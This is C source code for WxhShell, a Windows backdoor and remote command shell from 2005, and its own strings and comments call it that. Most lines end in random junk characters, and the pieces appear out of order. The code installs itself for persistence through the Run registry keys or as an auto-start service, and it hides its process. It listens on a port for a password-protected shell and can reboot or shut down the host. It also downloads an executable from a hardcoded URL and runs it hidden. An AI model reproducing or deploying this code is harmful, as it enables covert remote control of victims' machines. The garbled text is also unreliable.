ULONG UniqueProcessId; D%5 {A=
ULONG InheritedFromUniqueProcessId; YA/H;707l
} PROCESS_BASIC_INFORMATION; W+-f `
Nt,]00S\w
PROCNTQSIP NtQueryInformationProcess; .[eSKtbc)
+@<^i?ale
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 37za^n?SG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ni 02N3R
lzQ&)7`
HANDLE hProcess; f R{WS:Pv
PROCESS_BASIC_INFORMATION pbi; ":ws~Zep
=^".{h'-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <T=o]M$
if(NULL == hInst ) return 0; sVZ}nq{
# 8-P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6=[ PJM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (t]R#2{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '
m#Ymp
'&o>
%V
if (!NtQueryInformationProcess) return 0;
ZeDDH
H]]>sE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `(w kqa
if(!hProcess) return 0; %CfTqbB
07HX5 Hd
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OkO@BWL
H603L|4
CloseHandle(hProcess); Q=9VuTE
EzY
scX.[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fh5^Gd~
if(hProcess==NULL) return 0;
s*A|9uf5
jak|LOp
HMODULE hMod; 0$dY;,Q .
char procName[255]; 'rcsK
unsigned long cbNeeded; |Y,X=Ed
XQ?)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a6K$omu
4QN6BZJ5
CloseHandle(hProcess); v|hKf6
Bg
8t'dw?K
if(strstr(procName,"services")) return 1; // 以服务启动 s t 3]Yy
M3xi 0/.
return 0; // 注册表启动 )-6[Bw
} wE=8jl*
NIcNL(]
// 主模块 J jL0/&
int StartWxhshell(LPSTR lpCmdLine)
61 HqBa
{ =F;^^VX
SOCKET wsl; 7[ VCCI
g
BOOL val=TRUE; (l,YI"TzT
int port=0; ^gVbVz[17
struct sockaddr_in door; Ub-k<]yZ
9R<J$e
if(wscfg.ws_autoins) Install(); ,HjHt\!~<
/)HEx&SQmZ
port=atoi(lpCmdLine); ^SES')x
m]b.P,~v
if(port<=0) port=wscfg.ws_port; jl|X$w
i=+<7]Q
WSADATA data; r'}k`A5>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P|QnZ){
YJ;a{)e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _a02#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u=?P*Y/|W
door.sin_family = AF_INET; X$Qi[=L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vzQmijr-
door.sin_port = htons(port); Lw78v@dY
vskM;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'Y/V9;`)s
closesocket(wsl); O"w_sw
return 1; gj(l&F *@
} 8*X
L19N
]4pC\0c
if(listen(wsl,2) == INVALID_SOCKET) { Y K 62#;
closesocket(wsl); kKTED1MW&W
return 1; ;?[ +vf")
} G;.u>92r|
Wxhshell(wsl); ZJ'H y5?
WSACleanup(); \~m%4kzG8J
LHGK!zI
return 0; XwqfWd_
7qdl,z
} "gVH;<&]
QrRCsy70
// 以NT服务方式启动 (inwKRH
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v6(l#,
{ gl4
f9Ff
DWORD status = 0; )e$-B]>7z
DWORD specificError = 0xfffffff; ~<Qxw>S#
EwJn1Mvq
serviceStatus.dwServiceType = SERVICE_WIN32; ;
yC`5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aIyY%QT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t@mw f3,
serviceStatus.dwWin32ExitCode = 0; dJgOfg^
serviceStatus.dwServiceSpecificExitCode = 0; $+yQ48Wq
serviceStatus.dwCheckPoint = 0; 3xR#,22:}
serviceStatus.dwWaitHint = 0; H< 3b+Sg
9U%}"uE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BJ;c F"Kp
if (hServiceStatusHandle==0) return; T%xL=STJNy
#SOj4W
status = GetLastError(); bSKV|z/x
if (status!=NO_ERROR) e(5Px!B
{ ^C#bW<T
serviceStatus.dwCurrentState = SERVICE_STOPPED; *fyEw\`a
serviceStatus.dwCheckPoint = 0; P=hf/jOv9
serviceStatus.dwWaitHint = 0; gf8U &;
serviceStatus.dwWin32ExitCode = status; nWg)zj:
serviceStatus.dwServiceSpecificExitCode = specificError; k.VOS0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K":tr~V;
return; -"b3q
} )1'_g4
t,Rn
serviceStatus.dwCurrentState = SERVICE_RUNNING; Nd!=3W5?
serviceStatus.dwCheckPoint = 0; i]Of<eQ"
serviceStatus.dwWaitHint = 0; (4gQe6tA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Gt{(is
} |L#r)$n{1
6aK2{-+
// 处理NT服务事件,比如:启动、停止 tWy<9TF
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'cCj@bZ9X
{ [WSIC *|;
switch(fdwControl) m|?J^_
{ ?d'9TOlD
case SERVICE_CONTROL_STOP: x"=q+sA
serviceStatus.dwWin32ExitCode = 0; ~ZIRCTQ"
serviceStatus.dwCurrentState = SERVICE_STOPPED; zb*4Nsda:
serviceStatus.dwCheckPoint = 0; FO3*[O
serviceStatus.dwWaitHint = 0; n ]g,)m
{ YZ+g<HXB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $CV'p/^En
} V&nJT~k
return; Uv$u\D+@[
case SERVICE_CONTROL_PAUSE: Oc3%pb;
serviceStatus.dwCurrentState = SERVICE_PAUSED; FK('E3PG
break; tAn6pGp
case SERVICE_CONTROL_CONTINUE: y.NArN|%
serviceStatus.dwCurrentState = SERVICE_RUNNING; _Pm}]Y:_
break; `^Sq>R!;
case SERVICE_CONTROL_INTERROGATE: soCHwiE
break; =5#Jsn?U
}; ~&jCz4M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q/G5aO*
} CzbNG^+
+u)$o
// 标准应用程序主函数 L-T Ve
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Z9F0l"Nr
{ I=-;*3g6
73<yrBxp
// 获取操作系统版本 `a9>4
OsIsNt=GetOsVer(); U Bg_b?k
GetModuleFileName(NULL,ExeFile,MAX_PATH); Um|Tf]q
|a\TUzq
// 从命令行安装 WHT%m|yn
if(strpbrk(lpCmdLine,"iI")) Install(); \C.@ @4{
tS@/Bq('B
// 下载执行文件 D'+8]B
if(wscfg.ws_downexe) { >C66X?0cd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1W7BN~p14
WinExec(wscfg.ws_filenam,SW_HIDE); h0pr"]sO;$
} S?tLIi/
Ku'U^=bVm:
if(!OsIsNt) { SHh(ujz,
// 如果时win9x,隐藏进程并且设置为注册表启动 X"GQ^]$O
HideProc(); Hvk?(\x
StartWxhshell(lpCmdLine); QyQ8M1m
} w\4m-Z{
else !X_~|5.
if(StartFromService()) e@By@r&nql
// 以服务方式启动 % j; cXN
StartServiceCtrlDispatcher(DispatchTable); V0(ABi:d
else 1\kehCt
// 普通方式启动 u'."E7o#
StartWxhshell(lpCmdLine); c^k.
<EA
-qF| Y
f
return 0; rpWy 6oD
} #+\G-
=-
SsZzYj.d
]vErF=[U,
';F][x 5j
=========================================== 1>{(dd?L
2N]s}/l
8m0sEV>
dG+xr!
;{20Heuz
tTt~W5lo
" TQH#sx
+Eg# 8/q
#include <stdio.h> //|Vj | =
#include <string.h> Hq$|j,&?
#include <windows.h> 2T9Z{v
#include <winsock2.h> vS#]RW&j
#include <winsvc.h> :P~Owz
#include <urlmon.h> 7a net
w (1a{m?ht
#pragma comment (lib, "Ws2_32.lib") >d\I*"C+d
#pragma comment (lib, "urlmon.lib") kvn6
NiU
470Pig>I8
#define MAX_USER 100 // 最大客户端连接数 DAi[3`C
#define BUF_SOCK 200 // sock buffer t1S~~FLE
#define KEY_BUFF 255 // 输入 buffer Qt 2hb
^p/mJ1/s7
#define REBOOT 0 // 重启 cO9Aw !
#define SHUTDOWN 1 // 关机 2hP8ZfvIR
.VT,,0
#define DEF_PORT 5000 // 监听端口 6npwu5!
a$m?if=
#define REG_LEN 16 // 注册表键长度 %b9M\
#define SVC_LEN 80 // NT服务名长度 f -5ZXpWs'
9m{rQ P/
// 从dll定义API *Q?HaG|S
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dGe
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CS49M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yk/XfwQ5
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \\JXY*DA:+
T~>:8i
// wxhshell配置信息 {'%=tJ[YX
struct WSCFG { TF>F7v(,45
int ws_port; // 监听端口 da@
.J9
char ws_passstr[REG_LEN]; // 口令 v#xF;@G
int ws_autoins; // 安装标记, 1=yes 0=no om6R/K
char ws_regname[REG_LEN]; // 注册表键名 , fn=%tiUk
char ws_svcname[REG_LEN]; // 服务名 }=gGs
char ws_svcdisp[SVC_LEN]; // 服务显示名 <*P1Sd.
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |1o]d$3m
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8z"Yo7no
int ws_downexe; // 下载执行标记, 1=yes 0=no [@;Z
xs
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c/RG1w
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LJD"N#c
f&'md
}; -5K/ cK
, utFCZW
// default Wxhshell configuration 4p.O<f;A8
struct WSCFG wscfg={DEF_PORT, tN~{Mt$-W
"xuhuanlingzhe", "2J;~
1, szHUHW~;J
"Wxhshell", 4~4Hst#^
"Wxhshell", F<[8!^l(z
"WxhShell Service", n^K]R}S
"Wrsky Windows CmdShell Service", %~~Q XH\
"Please Input Your Password: ", "'Ik{wGc
1, EZ4qhda
"http://www.wrsky.com/wxhshell.exe", J']W7!p
"Wxhshell.exe" 5>
UgBA
}; E2MpMR
aH_&=/-Tz
// 消息定义模块 Dp8(L ]6
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S(pfd2^
char *msg_ws_prompt="\n\r? for help\n\r#>"; F+GQ l
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <S
qbj;
char *msg_ws_ext="\n\rExit."; b~}}{fm&f
char *msg_ws_end="\n\rQuit."; s6I]H
char *msg_ws_boot="\n\rReboot..."; <OUApp H
char *msg_ws_poff="\n\rShutdown..."; c1i7Rc{q
char *msg_ws_down="\n\rSave to "; tyh%s"
IF=rD-x
char *msg_ws_err="\n\rErr!"; N@g+51ye
char *msg_ws_ok="\n\rOK!"; LHps2,
F3q5!1
char ExeFile[MAX_PATH]; LPC7Bdjz
int nUser = 0; J0IK=Y
HANDLE handles[MAX_USER]; A.[T#ZB.4
int OsIsNt; =LR UasF
{q^KlSjm
SERVICE_STATUS serviceStatus; DQSv'!KFO
SERVICE_STATUS_HANDLE hServiceStatusHandle; T(6S~;,Z
X^ovP'c2
// 函数声明 E]
[DVY
int Install(void); bpkn[K"(
int Uninstall(void); wP%;9y2B
int DownloadFile(char *sURL, SOCKET wsh); <:?&}'aA
int Boot(int flag); X*T9`]l6
void HideProc(void); &("?6%GC
int GetOsVer(void); f: Rh9
int Wxhshell(SOCKET wsl); *M{1RMc
void TalkWithClient(void *cs); hRP0Djc
int CmdShell(SOCKET sock); ,#crtX
int StartFromService(void); A)xI.Q6
int StartWxhshell(LPSTR lpCmdLine); .+y#7-#6
zMa`olTZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `F)Iv:;y,
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [f'7/w+
#\}hN~@F
// 数据结构和表定义 wdg[pt
/>
SERVICE_TABLE_ENTRY DispatchTable[] = 1||e!W
{ V1ug.Jv^
{wscfg.ws_svcname, NTServiceMain}, @wo9;DW`
{NULL, NULL} &c]x;#-y
}; ;j$84o{
*q^'%'
// 自我安装 ,"D1!0
int Install(void) $z<CkMP!U7
{ og>f1NwS[
char svExeFile[MAX_PATH]; bHp|>g
HKEY key; 9DIG K\
strcpy(svExeFile,ExeFile); L8V'mUyD
CTwP{[%Pk
// 如果是win9x系统,修改注册表设为自启动 KT3[{lr
if(!OsIsNt) { `]%{0 Rx
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @y,p-##e
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '!_o`t@
RegCloseKey(key); uuq?0t2Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VR'w$mp
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 62W3W1: W
RegCloseKey(key); n1H*][CK
return 0; lB-Njr
} })J]D~!p
} wtZe\h
} F*a+&% Q
else { t<e?f{Q5
s#4
"f
// 如果是NT以上系统,安装为系统服务 V@$B>HeK
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7B'0(70
if (schSCManager!=0) Cnn,$R=/s
{ IRpCbTIXK
SC_HANDLE schService = CreateService 9<R:)Df
( o:?IT/>
schSCManager, 7QQnvoP
wscfg.ws_svcname, R8ZW1
wscfg.ws_svcdisp, pM>.z9
SERVICE_ALL_ACCESS, >9|Q,/b0
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'HOt?lpu!
SERVICE_AUTO_START, ;N)qNiJY
SERVICE_ERROR_NORMAL, cM55
vVd
svExeFile, [\I\).
NULL, P|G:h&
NULL, n|(Y?`(
NULL, 7Q^t(
NULL, vZ*593C8
NULL -q-%)f
); k(T/ydrw
if (schService!=0) _mcD*V
{ vwP83b0ov"
CloseServiceHandle(schService); akaQ6DIdG
CloseServiceHandle(schSCManager); \;Ii(3+v;
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J&lQ,T!?B
strcat(svExeFile,wscfg.ws_svcname); T'w=v-(J
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oqG
0 @@
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <}|+2f233+
RegCloseKey(key); u\6:Txqq
return 0; UA{A G;
} &Uzg&eB
} A H`6)v<f
CloseServiceHandle(schSCManager); 3xeW!~
} zV%U4P)Dao
} _m;Y'
M*%iMz
return 1; nL\BB&
} [^aow-4z
4O2O0\o:
// 自我卸载 b8>rUGA{
int Uninstall(void) *ozeoX'5D
{ ZVeY`o(uE
HKEY key; la
f b^
94H 6`
if(!OsIsNt) { qRTy}FU1
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T'FRnC^~
RegDeleteValue(key,wscfg.ws_regname); iQ:]1H s
RegCloseKey(key); f\1)BZ'I
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nd-y`@z
RegDeleteValue(key,wscfg.ws_regname); EFV'hMjS)
RegCloseKey(key); i:@00)V{,
return 0; -(~CZ
} -$t#AYKz
} NCBS=L:
} `ez_
{
else { kAU[lPt*R
U ^[<G6<9]
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7?e*b(vd
if (schSCManager!=0) q0$}MB6
{ Xn4U!<RT"
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _bu, 1EM
if (schService!=0) s-Bpd#G>/
{ {73Z$w1%
if(DeleteService(schService)!=0) { 1Qv5m^>vj
CloseServiceHandle(schService); ;ZB[g78%R%
CloseServiceHandle(schSCManager); UZ v^3_,qz
return 0; IrJCZsk
} M~=9ym
CloseServiceHandle(schService); :4/RB%)"
} [.dF)I3
CloseServiceHandle(schSCManager); mm'Pe4*
} ux'!1mN
} r:<UV^; 9l
X&pK#=
return 1; pGzzv{H
} ,{=#
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